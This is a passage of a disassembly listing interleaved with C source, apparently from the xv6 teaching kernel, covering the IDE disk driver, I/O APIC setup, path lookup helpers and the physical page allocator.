80101e98: 8b 45 10 mov 0x10(%ebp),%eax
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e9b: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80101ea2: 00
80101ea3: 89 7c 24 08 mov %edi,0x8(%esp)
80101ea7: 89 74 24 04 mov %esi,0x4(%esp)
80101eab: 89 1c 24 mov %ebx,(%esp)
de.inum = inum;
80101eae: 66 89 45 d8 mov %ax,-0x28(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101eb2: e8 99 fb ff ff call 80101a50 <writei>
80101eb7: 83 f8 10 cmp $0x10,%eax
80101eba: 75 25 jne 80101ee1 <dirlink+0xd1>
return 0;
80101ebc: 31 c0 xor %eax,%eax
}
80101ebe: 83 c4 2c add $0x2c,%esp
80101ec1: 5b pop %ebx
80101ec2: 5e pop %esi
80101ec3: 5f pop %edi
80101ec4: 5d pop %ebp
80101ec5: c3 ret
iput(ip);
80101ec6: 89 04 24 mov %eax,(%esp)
80101ec9: e8 f2 f8 ff ff call 801017c0 <iput>
return -1;
80101ece: b8 ff ff ff ff mov $0xffffffff,%eax
80101ed3: eb e9 jmp 80101ebe <dirlink+0xae>
panic("dirlink read");
80101ed5: c7 04 24 a8 6f 10 80 movl $0x80106fa8,(%esp)
80101edc: e8 7f e4 ff ff call 80100360 <panic>
panic("dirlink");
80101ee1: c7 04 24 9e 75 10 80 movl $0x8010759e,(%esp)
80101ee8: e8 73 e4 ff ff call 80100360 <panic>
80101eed: 8d 76 00 lea 0x0(%esi),%esi
80101ef0 <namei>:
struct inode*
namei(char *path)
{
80101ef0: 55 push %ebp
char name[DIRSIZ];
return namex(path, 0, name);
80101ef1: 31 d2 xor %edx,%edx
{
80101ef3: 89 e5 mov %esp,%ebp
80101ef5: 83 ec 18 sub $0x18,%esp
return namex(path, 0, name);
80101ef8: 8b 45 08 mov 0x8(%ebp),%eax
80101efb: 8d 4d ea lea -0x16(%ebp),%ecx
80101efe: e8 6d fd ff ff call 80101c70 <namex>
}
80101f03: c9 leave
80101f04: c3 ret
80101f05: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101f09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101f10 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80101f10: 55 push %ebp
return namex(path, 1, name);
80101f11: ba 01 00 00 00 mov $0x1,%edx
{
80101f16: 89 e5 mov %esp,%ebp
return namex(path, 1, name);
80101f18: 8b 4d 0c mov 0xc(%ebp),%ecx
80101f1b: 8b 45 08 mov 0x8(%ebp),%eax
}
80101f1e: 5d pop %ebp
return namex(path, 1, name);
80101f1f: e9 4c fd ff ff jmp 80101c70 <namex>
80101f24: 66 90 xchg %ax,%ax
80101f26: 66 90 xchg %ax,%ax
80101f28: 66 90 xchg %ax,%ax
80101f2a: 66 90 xchg %ax,%ax
80101f2c: 66 90 xchg %ax,%ax
80101f2e: 66 90 xchg %ax,%ax
80101f30 <idestart>:
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80101f30: 55 push %ebp
80101f31: 89 e5 mov %esp,%ebp
80101f33: 56 push %esi
80101f34: 89 c6 mov %eax,%esi
80101f36: 53 push %ebx
80101f37: 83 ec 10 sub $0x10,%esp
if(b == 0)
80101f3a: 85 c0 test %eax,%eax
80101f3c: 0f 84 99 00 00 00 je 80101fdb <idestart+0xab>
panic("idestart");
if(b->blockno >= FSSIZE)
80101f42: 8b 48 08 mov 0x8(%eax),%ecx
80101f45: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx
80101f4b: 0f 87 7e 00 00 00 ja 80101fcf <idestart+0x9f>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101f51: ba f7 01 00 00 mov $0x1f7,%edx
80101f56: 66 90 xchg %ax,%ax
80101f58: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80101f59: 83 e0 c0 and $0xffffffc0,%eax
80101f5c: 3c 40 cmp $0x40,%al
80101f5e: 75 f8 jne 80101f58 <idestart+0x28>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101f60: 31 db xor %ebx,%ebx
80101f62: ba f6 03 00 00 mov $0x3f6,%edx
80101f67: 89 d8 mov %ebx,%eax
80101f69: ee out %al,(%dx)
80101f6a: ba f2 01 00 00 mov $0x1f2,%edx
80101f6f: b8 01 00 00 00 mov $0x1,%eax
80101f74: ee out %al,(%dx)
80101f75: 0f b6 c1 movzbl %cl,%eax
80101f78: b2 f3 mov $0xf3,%dl
80101f7a: ee out %al,(%dx)
idewait(0);
outb(0x3f6, 0); // generate interrupt
outb(0x1f2, sector_per_block); // number of sectors
outb(0x1f3, sector & 0xff);
outb(0x1f4, (sector >> 8) & 0xff);
80101f7b: 89 c8 mov %ecx,%eax
80101f7d: b2 f4 mov $0xf4,%dl
80101f7f: c1 f8 08 sar $0x8,%eax
80101f82: ee out %al,(%dx)
80101f83: b2 f5 mov $0xf5,%dl
80101f85: 89 d8 mov %ebx,%eax
80101f87: ee out %al,(%dx)
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
80101f88: 0f b6 46 04 movzbl 0x4(%esi),%eax
80101f8c: b2 f6 mov $0xf6,%dl
80101f8e: 83 e0 01 and $0x1,%eax
80101f91: c1 e0 04 shl $0x4,%eax
80101f94: 83 c8 e0 or $0xffffffe0,%eax
80101f97: ee out %al,(%dx)
if(b->flags & B_DIRTY){
80101f98: f6 06 04 testb $0x4,(%esi)
80101f9b: 75 13 jne 80101fb0 <idestart+0x80>
80101f9d: ba f7 01 00 00 mov $0x1f7,%edx
80101fa2: b8 20 00 00 00 mov $0x20,%eax
80101fa7: ee out %al,(%dx)
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
} else {
outb(0x1f7, read_cmd);
}
}
80101fa8: 83 c4 10 add $0x10,%esp
80101fab: 5b pop %ebx
80101fac: 5e pop %esi
80101fad: 5d pop %ebp
80101fae: c3 ret
80101faf: 90 nop
80101fb0: b2 f7 mov $0xf7,%dl
80101fb2: b8 30 00 00 00 mov $0x30,%eax
80101fb7: ee out %al,(%dx)
asm volatile("cld; rep outsl" :
80101fb8: b9 80 00 00 00 mov $0x80,%ecx
outsl(0x1f0, b->data, BSIZE/4);
80101fbd: 83 c6 5c add $0x5c,%esi
80101fc0: ba f0 01 00 00 mov $0x1f0,%edx
80101fc5: fc cld
80101fc6: f3 6f rep outsl %ds:(%esi),(%dx)
}
80101fc8: 83 c4 10 add $0x10,%esp
80101fcb: 5b pop %ebx
80101fcc: 5e pop %esi
80101fcd: 5d pop %ebp
80101fce: c3 ret
panic("incorrect blockno");
80101fcf: c7 04 24 14 70 10 80 movl $0x80107014,(%esp)
80101fd6: e8 85 e3 ff ff call 80100360 <panic>
panic("idestart");
80101fdb: c7 04 24 0b 70 10 80 movl $0x8010700b,(%esp)
80101fe2: e8 79 e3 ff ff call 80100360 <panic>
80101fe7: 89 f6 mov %esi,%esi
80101fe9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101ff0 <ideinit>:
{
80101ff0: 55 push %ebp
80101ff1: 89 e5 mov %esp,%ebp
80101ff3: 83 ec 18 sub $0x18,%esp
initlock(&idelock, "ide");
80101ff6: c7 44 24 04 26 70 10 movl $0x80107026,0x4(%esp)
80101ffd: 80
80101ffe: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102005: e8 36 20 00 00 call 80104040 <initlock>
ioapicenable(IRQ_IDE, ncpu - 1);
8010200a: a1 00 2d 11 80 mov 0x80112d00,%eax
8010200f: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102016: 83 e8 01 sub $0x1,%eax
80102019: 89 44 24 04 mov %eax,0x4(%esp)
8010201d: e8 7e 02 00 00 call 801022a0 <ioapicenable>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102022: ba f7 01 00 00 mov $0x1f7,%edx
80102027: 90 nop
80102028: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80102029: 83 e0 c0 and $0xffffffc0,%eax
8010202c: 3c 40 cmp $0x40,%al
8010202e: 75 f8 jne 80102028 <ideinit+0x38>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102030: ba f6 01 00 00 mov $0x1f6,%edx
80102035: b8 f0 ff ff ff mov $0xfffffff0,%eax
8010203a: ee out %al,(%dx)
8010203b: b9 e8 03 00 00 mov $0x3e8,%ecx
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102040: b2 f7 mov $0xf7,%dl
80102042: eb 09 jmp 8010204d <ideinit+0x5d>
80102044: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(i=0; i<1000; i++){
80102048: 83 e9 01 sub $0x1,%ecx
8010204b: 74 0f je 8010205c <ideinit+0x6c>
8010204d: ec in (%dx),%al
if(inb(0x1f7) != 0){
8010204e: 84 c0 test %al,%al
80102050: 74 f6 je 80102048 <ideinit+0x58>
havedisk1 = 1;
80102052: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560
80102059: 00 00 00
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010205c: ba f6 01 00 00 mov $0x1f6,%edx
80102061: b8 e0 ff ff ff mov $0xffffffe0,%eax
80102066: ee out %al,(%dx)
}
80102067: c9 leave
80102068: c3 ret
80102069: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102070 <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
80102070: 55 push %ebp
80102071: 89 e5 mov %esp,%ebp
80102073: 57 push %edi
80102074: 56 push %esi
80102075: 53 push %ebx
80102076: 83 ec 1c sub $0x1c,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
80102079: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102080: e8 ab 20 00 00 call 80104130 <acquire>
if((b = idequeue) == 0){
80102085: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx
8010208b: 85 db test %ebx,%ebx
8010208d: 74 30 je 801020bf <ideintr+0x4f>
release(&idelock);
return;
}
idequeue = b->qnext;
8010208f: 8b 43 58 mov 0x58(%ebx),%eax
80102092: a3 64 a5 10 80 mov %eax,0x8010a564
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
80102097: 8b 33 mov (%ebx),%esi
80102099: f7 c6 04 00 00 00 test $0x4,%esi
8010209f: 74 37 je 801020d8 <ideintr+0x68>
insl(0x1f0, b->data, BSIZE/4);
// Wake process waiting for this buf.
b->flags |= B_VALID;
b->flags &= ~B_DIRTY;
801020a1: 83 e6 fb and $0xfffffffb,%esi
801020a4: 83 ce 02 or $0x2,%esi
801020a7: 89 33 mov %esi,(%ebx)
wakeup(b);
801020a9: 89 1c 24 mov %ebx,(%esp)
801020ac: e8 cf 1c 00 00 call 80103d80 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
801020b1: a1 64 a5 10 80 mov 0x8010a564,%eax
801020b6: 85 c0 test %eax,%eax
801020b8: 74 05 je 801020bf <ideintr+0x4f>
idestart(idequeue);
801020ba: e8 71 fe ff ff call 80101f30 <idestart>
release(&idelock);
801020bf: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
801020c6: e8 55 21 00 00 call 80104220 <release>
release(&idelock);
}
801020cb: 83 c4 1c add $0x1c,%esp
801020ce: 5b pop %ebx
801020cf: 5e pop %esi
801020d0: 5f pop %edi
801020d1: 5d pop %ebp
801020d2: c3 ret
801020d3: 90 nop
801020d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801020d8: ba f7 01 00 00 mov $0x1f7,%edx
801020dd: 8d 76 00 lea 0x0(%esi),%esi
801020e0: ec in (%dx),%al
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801020e1: 89 c1 mov %eax,%ecx
801020e3: 83 e1 c0 and $0xffffffc0,%ecx
801020e6: 80 f9 40 cmp $0x40,%cl
801020e9: 75 f5 jne 801020e0 <ideintr+0x70>
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
801020eb: a8 21 test $0x21,%al
801020ed: 75 b2 jne 801020a1 <ideintr+0x31>
insl(0x1f0, b->data, BSIZE/4);
801020ef: 8d 7b 5c lea 0x5c(%ebx),%edi
asm volatile("cld; rep insl" :
801020f2: b9 80 00 00 00 mov $0x80,%ecx
801020f7: ba f0 01 00 00 mov $0x1f0,%edx
801020fc: fc cld
801020fd: f3 6d rep insl (%dx),%es:(%edi)
801020ff: 8b 33 mov (%ebx),%esi
80102101: eb 9e jmp 801020a1 <ideintr+0x31>
80102103: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102110 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
80102110: 55 push %ebp
80102111: 89 e5 mov %esp,%ebp
80102113: 53 push %ebx
80102114: 83 ec 14 sub $0x14,%esp
80102117: 8b 5d 08 mov 0x8(%ebp),%ebx
struct buf **pp;
if(!holdingsleep(&b->lock))
8010211a: 8d 43 0c lea 0xc(%ebx),%eax
8010211d: 89 04 24 mov %eax,(%esp)
80102120: e8 eb 1e 00 00 call 80104010 <holdingsleep>
80102125: 85 c0 test %eax,%eax
80102127: 0f 84 9e 00 00 00 je 801021cb <iderw+0xbb>
panic("iderw: buf not locked");
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
8010212d: 8b 03 mov (%ebx),%eax
8010212f: 83 e0 06 and $0x6,%eax
80102132: 83 f8 02 cmp $0x2,%eax
80102135: 0f 84 a8 00 00 00 je 801021e3 <iderw+0xd3>
panic("iderw: nothing to do");
if(b->dev != 0 && !havedisk1)
8010213b: 8b 53 04 mov 0x4(%ebx),%edx
8010213e: 85 d2 test %edx,%edx
80102140: 74 0d je 8010214f <iderw+0x3f>
80102142: a1 60 a5 10 80 mov 0x8010a560,%eax
80102147: 85 c0 test %eax,%eax
80102149: 0f 84 88 00 00 00 je 801021d7 <iderw+0xc7>
panic("iderw: ide disk 1 not present");
acquire(&idelock); //DOC:acquire-lock
8010214f: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp)
80102156: e8 d5 1f 00 00 call 80104130 <acquire>
// Append b to idequeue.
b->qnext = 0;
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
8010215b: a1 64 a5 10 80 mov 0x8010a564,%eax
b->qnext = 0;
80102160: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
80102167: 85 c0 test %eax,%eax
80102169: 75 07 jne 80102172 <iderw+0x62>
8010216b: eb 4e jmp 801021bb <iderw+0xab>
8010216d: 8d 76 00 lea 0x0(%esi),%esi
80102170: 89 d0 mov %edx,%eax
80102172: 8b 50 58 mov 0x58(%eax),%edx
80102175: 85 d2 test %edx,%edx
80102177: 75 f7 jne 80102170 <iderw+0x60>
80102179: 83 c0 58 add $0x58,%eax
;
*pp = b;
8010217c: 89 18 mov %ebx,(%eax)
// Start disk if necessary.
if(idequeue == b)
8010217e: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564
80102184: 74 3c je 801021c2 <iderw+0xb2>
idestart(b);
// Wait for request to finish.
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
80102186: 8b 03 mov (%ebx),%eax
80102188: 83 e0 06 and $0x6,%eax
8010218b: 83 f8 02 cmp $0x2,%eax
8010218e: 74 1a je 801021aa <iderw+0x9a>
sleep(b, &idelock);
80102190: c7 44 24 04 80 a5 10 movl $0x8010a580,0x4(%esp)
80102197: 80
80102198: 89 1c 24 mov %ebx,(%esp)
8010219b: e8 50 1a 00 00 call 80103bf0 <sleep>
while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){
801021a0: 8b 13 mov (%ebx),%edx
801021a2: 83 e2 06 and $0x6,%edx
801021a5: 83 fa 02 cmp $0x2,%edx
801021a8: 75 e6 jne 80102190 <iderw+0x80>
}
release(&idelock);
801021aa: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp)
}
801021b1: 83 c4 14 add $0x14,%esp
801021b4: 5b pop %ebx
801021b5: 5d pop %ebp
release(&idelock);
801021b6: e9 65 20 00 00 jmp 80104220 <release>
for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue
801021bb: b8 64 a5 10 80 mov $0x8010a564,%eax
801021c0: eb ba jmp 8010217c <iderw+0x6c>
idestart(b);
801021c2: 89 d8 mov %ebx,%eax
801021c4: e8 67 fd ff ff call 80101f30 <idestart>
801021c9: eb bb jmp 80102186 <iderw+0x76>
panic("iderw: buf not locked");
801021cb: c7 04 24 2a 70 10 80 movl $0x8010702a,(%esp)
801021d2: e8 89 e1 ff ff call 80100360 <panic>
panic("iderw: ide disk 1 not present");
801021d7: c7 04 24 55 70 10 80 movl $0x80107055,(%esp)
801021de: e8 7d e1 ff ff call 80100360 <panic>
panic("iderw: nothing to do");
801021e3: c7 04 24 40 70 10 80 movl $0x80107040,(%esp)
801021ea: e8 71 e1 ff ff call 80100360 <panic>
801021ef: 90 nop
801021f0 <ioapicinit>:
ioapic->data = data;
}
void
ioapicinit(void)
{
801021f0: 55 push %ebp
801021f1: 89 e5 mov %esp,%ebp
801021f3: 56 push %esi
801021f4: 53 push %ebx
801021f5: 83 ec 10 sub $0x10,%esp
int i, id, maxintr;
ioapic = (volatile struct ioapic*)IOAPIC;
801021f8: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634
801021ff: 00 c0 fe
ioapic->reg = reg;
80102202: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000
80102209: 00 00 00
return ioapic->data;
8010220c: 8b 15 34 26 11 80 mov 0x80112634,%edx
80102212: 8b 42 10 mov 0x10(%edx),%eax
ioapic->reg = reg;
80102215: c7 02 00 00 00 00 movl $0x0,(%edx)
return ioapic->data;
8010221b: 8b 1d 34 26 11 80 mov 0x80112634,%ebx
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
id = ioapicread(REG_ID) >> 24;
if(id != ioapicid)
80102221: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx
maxintr = (ioapicread(REG_VER) >> 16) & 0xFF;
80102228: c1 e8 10 shr $0x10,%eax
8010222b: 0f b6 f0 movzbl %al,%esi
return ioapic->data;
8010222e: 8b 43 10 mov 0x10(%ebx),%eax
id = ioapicread(REG_ID) >> 24;
80102231: c1 e8 18 shr $0x18,%eax
if(id != ioapicid)
80102234: 39 c2 cmp %eax,%edx
80102236: 74 12 je 8010224a <ioapicinit+0x5a>
cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n");
80102238: c7 04 24 74 70 10 80 movl $0x80107074,(%esp)
8010223f: e8 0c e4 ff ff call 80100650 <cprintf>
80102244: 8b 1d 34 26 11 80 mov 0x80112634,%ebx
8010224a: ba 10 00 00 00 mov $0x10,%edx
8010224f: 31 c0 xor %eax,%eax
80102251: eb 07 jmp 8010225a <ioapicinit+0x6a>
80102253: 90 nop
80102254: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102258: 89 cb mov %ecx,%ebx
ioapic->reg = reg;
8010225a: 89 13 mov %edx,(%ebx)
ioapic->data = data;
8010225c: 8b 1d 34 26 11 80 mov 0x80112634,%ebx
80102262: 8d 48 20 lea 0x20(%eax),%ecx
// Mark all interrupts edge-triggered, active high, disabled,
// and not routed to any CPUs.
for(i = 0; i <= maxintr; i++){
ioapicwrite(REG_TABLE+2*i, INT_DISABLED | (T_IRQ0 + i));
80102265: 81 c9 00 00 01 00 or $0x10000,%ecx
for(i = 0; i <= maxintr; i++){
8010226b: 83 c0 01 add $0x1,%eax
ioapic->data = data;
8010226e: 89 4b 10 mov %ecx,0x10(%ebx)
80102271: 8d 4a 01 lea 0x1(%edx),%ecx
80102274: 83 c2 02 add $0x2,%edx
ioapic->reg = reg;
80102277: 89 0b mov %ecx,(%ebx)
ioapic->data = data;
80102279: 8b 0d 34 26 11 80 mov 0x80112634,%ecx
for(i = 0; i <= maxintr; i++){
8010227f: 39 c6 cmp %eax,%esi
ioapic->data = data;
80102281: c7 41 10 00 00 00 00 movl $0x0,0x10(%ecx)
for(i = 0; i <= maxintr; i++){
80102288: 7d ce jge 80102258 <ioapicinit+0x68>
ioapicwrite(REG_TABLE+2*i+1, 0);
}
}
8010228a: 83 c4 10 add $0x10,%esp
8010228d: 5b pop %ebx
8010228e: 5e pop %esi
8010228f: 5d pop %ebp
80102290: c3 ret
80102291: eb 0d jmp 801022a0 <ioapicenable>
80102293: 90 nop
80102294: 90 nop
80102295: 90 nop
80102296: 90 nop
80102297: 90 nop
80102298: 90 nop
80102299: 90 nop
8010229a: 90 nop
8010229b: 90 nop
8010229c: 90 nop
8010229d: 90 nop
8010229e: 90 nop
8010229f: 90 nop
801022a0 <ioapicenable>:
void
ioapicenable(int irq, int cpunum)
{
801022a0: 55 push %ebp
801022a1: 89 e5 mov %esp,%ebp
801022a3: 8b 55 08 mov 0x8(%ebp),%edx
801022a6: 53 push %ebx
801022a7: 8b 45 0c mov 0xc(%ebp),%eax
// Mark interrupt edge-triggered, active high,
// enabled, and routed to the given cpunum,
// which happens to be that cpu's APIC ID.
ioapicwrite(REG_TABLE+2*irq, T_IRQ0 + irq);
801022aa: 8d 5a 20 lea 0x20(%edx),%ebx
801022ad: 8d 4c 12 10 lea 0x10(%edx,%edx,1),%ecx
ioapic->reg = reg;
801022b1: 8b 15 34 26 11 80 mov 0x80112634,%edx
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022b7: c1 e0 18 shl $0x18,%eax
ioapic->reg = reg;
801022ba: 89 0a mov %ecx,(%edx)
ioapic->data = data;
801022bc: 8b 15 34 26 11 80 mov 0x80112634,%edx
ioapicwrite(REG_TABLE+2*irq+1, cpunum << 24);
801022c2: 83 c1 01 add $0x1,%ecx
ioapic->data = data;
801022c5: 89 5a 10 mov %ebx,0x10(%edx)
ioapic->reg = reg;
801022c8: 89 0a mov %ecx,(%edx)
ioapic->data = data;
801022ca: 8b 15 34 26 11 80 mov 0x80112634,%edx
801022d0: 89 42 10 mov %eax,0x10(%edx)
}
801022d3: 5b pop %ebx
801022d4: 5d pop %ebp
801022d5: c3 ret
801022d6: 66 90 xchg %ax,%ax
801022d8: 66 90 xchg %ax,%ax
801022da: 66 90 xchg %ax,%ax
801022dc: 66 90 xchg %ax,%ax
801022de: 66 90 xchg %ax,%ax
801022e0 <kfree>:
// which normally should have been returned by a
// call to kalloc(). (The exception is when
// initializing the allocator; see kinit above.)
void
kfree(char *v)
{
801022e0: 55 push %ebp
801022e1: 89 e5 mov %esp,%ebp
801022e3: 53 push %ebx
801022e4: 83 ec 14 sub $0x14,%esp
801022e7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct run *r;
if((uint)v % PGSIZE || v < end || V2P(v) >= PHYSTOP)
801022ea: f7 c3 ff 0f 00 00 test $0xfff,%ebx
801022f0: 75 7c jne 8010236e <kfree+0x8e>
801022f2: 81 fb f4 58 11 80 cmp $0x801158f4,%ebx
801022f8: 72 74 jb 8010236e <kfree+0x8e>
801022fa: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80102300: 3d ff ff ff 0d cmp $0xdffffff,%eax
80102305: 77 67 ja 8010236e <kfree+0x8e>
panic("kfree");
// Fill with junk to catch dangling refs.
memset(v, 1, PGSIZE);
80102307: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010230e: 00
8010230f: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102316: 00
80102317: 89 1c 24 mov %ebx,(%esp)
8010231a: e8 51 1f 00 00 call 80104270 <memset>
if(kmem.use_lock)
8010231f: 8b 15 74 26 11 80 mov 0x80112674,%edx
80102325: 85 d2 test %edx,%edx
80102327: 75 37 jne 80102360 <kfree+0x80>
acquire(&kmem.lock);
r = (struct run*)v;
r->next = kmem.freelist;
80102329: a1 78 26 11 80 mov 0x80112678,%eax
8010232e: 89 03 mov %eax,(%ebx)
kmem.freelist = r;
if(kmem.use_lock)
80102330: a1 74 26 11 80 mov 0x80112674,%eax
kmem.freelist = r;
80102335: 89 1d 78 26 11 80 mov %ebx,0x80112678
if(kmem.use_lock)
8010233b: 85 c0 test %eax,%eax
8010233d: 75 09 jne 80102348 <kfree+0x68>
release(&kmem.lock);
}
8010233f: 83 c4 14 add $0x14,%esp
80102342: 5b pop %ebx
80102343: 5d pop %ebp
80102344: c3 ret
80102345: 8d 76 00 lea 0x0(%esi),%esi
release(&kmem.lock);
80102348: c7 45 08 40 26 11 80 movl $0x80112640,0x8(%ebp)
}
8010234f: 83 c4 14 add $0x14,%esp
80102352: 5b pop %ebx
80102353: 5d pop %ebp
release(&kmem.lock);
80102354: e9 c7 1e 00 00 jmp 80104220 <release>
80102359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&kmem.lock);
80102360: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
80102367: e8 c4 1d 00 00 call 80104130 <acquire>
8010236c: eb bb jmp 80102329 <kfree+0x49>
panic("kfree");
8010236e: c7 04 24 a6 70 10 80 movl $0x801070a6,(%esp)
80102375: e8 e6 df ff ff call 80100360 <panic>
8010237a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102380 <freerange>:
{
80102380: 55 push %ebp
80102381: 89 e5 mov %esp,%ebp
80102383: 56 push %esi
80102384: 53 push %ebx
80102385: 83 ec 10 sub $0x10,%esp
p = (char*)PGROUNDUP((uint)vstart);
80102388: 8b 45 08 mov 0x8(%ebp),%eax
{
8010238b: 8b 75 0c mov 0xc(%ebp),%esi
p = (char*)PGROUNDUP((uint)vstart);
8010238e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102394: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010239a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
801023a0: 39 de cmp %ebx,%esi
801023a2: 73 08 jae 801023ac <freerange+0x2c>
801023a4: eb 18 jmp 801023be <freerange+0x3e>
801023a6: 66 90 xchg %ax,%ax
801023a8: 89 da mov %ebx,%edx
801023aa: 89 c3 mov %eax,%ebx
kfree(p);
801023ac: 89 14 24 mov %edx,(%esp)
801023af: e8 2c ff ff ff call 801022e0 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
801023b4: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
801023ba: 39 f0 cmp %esi,%eax
801023bc: 76 ea jbe 801023a8 <freerange+0x28>
}
801023be: 83 c4 10 add $0x10,%esp
801023c1: 5b pop %ebx
801023c2: 5e pop %esi
801023c3: 5d pop %ebp
801023c4: c3 ret
801023c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801023c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801023d0 <kinit1>:
{
801023d0: 55 push %ebp
801023d1: 89 e5 mov %esp,%ebp
801023d3: 56 push %esi
801023d4: 53 push %ebx
801023d5: 83 ec 10 sub $0x10,%esp
801023d8: 8b 75 0c mov 0xc(%ebp),%esi
initlock(&kmem.lock, "kmem");
801023db: c7 44 24 04 ac 70 10 movl $0x801070ac,0x4(%esp)
801023e2: 80
801023e3: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
801023ea: e8 51 1c 00 00 call 80104040 <initlock>
p = (char*)PGROUNDUP((uint)vstart);
801023ef: 8b 45 08 mov 0x8(%ebp),%eax
kmem.use_lock = 0;
801023f2: c7 05 74 26 11 80 00 movl $0x0,0x80112674
801023f9: 00 00 00
p = (char*)PGROUNDUP((uint)vstart);
801023fc: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102402: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102408: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
8010240e: 39 de cmp %ebx,%esi
80102410: 73 0a jae 8010241c <kinit1+0x4c>
80102412: eb 1a jmp 8010242e <kinit1+0x5e>
80102414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102418: 89 da mov %ebx,%edx
8010241a: 89 c3 mov %eax,%ebx
kfree(p);
8010241c: 89 14 24 mov %edx,(%esp)
8010241f: e8 bc fe ff ff call 801022e0 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102424: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
8010242a: 39 c6 cmp %eax,%esi
8010242c: 73 ea jae 80102418 <kinit1+0x48>
}
8010242e: 83 c4 10 add $0x10,%esp
80102431: 5b pop %ebx
80102432: 5e pop %esi
80102433: 5d pop %ebp
80102434: c3 ret
80102435: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102440 <kinit2>:
{
80102440: 55 push %ebp
80102441: 89 e5 mov %esp,%ebp
80102443: 56 push %esi
80102444: 53 push %ebx
80102445: 83 ec 10 sub $0x10,%esp
p = (char*)PGROUNDUP((uint)vstart);
80102448: 8b 45 08 mov 0x8(%ebp),%eax
{
8010244b: 8b 75 0c mov 0xc(%ebp),%esi
